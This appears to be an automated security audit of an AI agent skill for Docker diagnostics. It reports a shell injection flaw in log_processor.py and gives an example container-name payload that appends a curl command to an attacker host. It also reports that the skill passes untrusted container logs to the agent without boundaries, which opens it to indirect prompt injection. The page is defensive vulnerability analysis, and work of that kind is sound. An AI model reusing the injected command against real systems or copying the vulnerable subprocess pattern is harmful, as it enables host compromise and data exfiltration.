Docker Pro Diagnostic-hardened
Fail
Audited by Gen Agent Trust Hub on Apr 21, 2026
Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The script
log_processor.pyis vulnerable to shell command injection via thecontainer_nameparameter. The script constructs a shell command using f-string interpolation:cmd = f"docker logs --tail {max_lines} {container_name}"and then executes it usingsubprocess.run(cmd, shell=True). This allows an attacker who can influence the container name to execute arbitrary shell commands on the host system (e.g., by providing a name likeapi; curl http://attacker.com/$(whoami)). - [PROMPT_INJECTION]: The skill has a significant indirect prompt injection surface because it processes untrusted log data from external containers.
- Ingestion points: Container logs are read via
docker logswithin thelog_processor.pyscript and then returned to the agent's context. - Boundary markers: No boundary markers or delimiters are used to encapsulate the log data or instruct the agent to ignore instructions embedded within the logs.
- Capability inventory: The agent has the capability to execute shell commands via the
log_processor.pyscript and thedockerCLI. - Sanitization: The log content is not sanitized for potential prompt injection payloads before being fed into the agent's reasoning process.
Recommendations
- AI detected serious security threats
Audit Metadata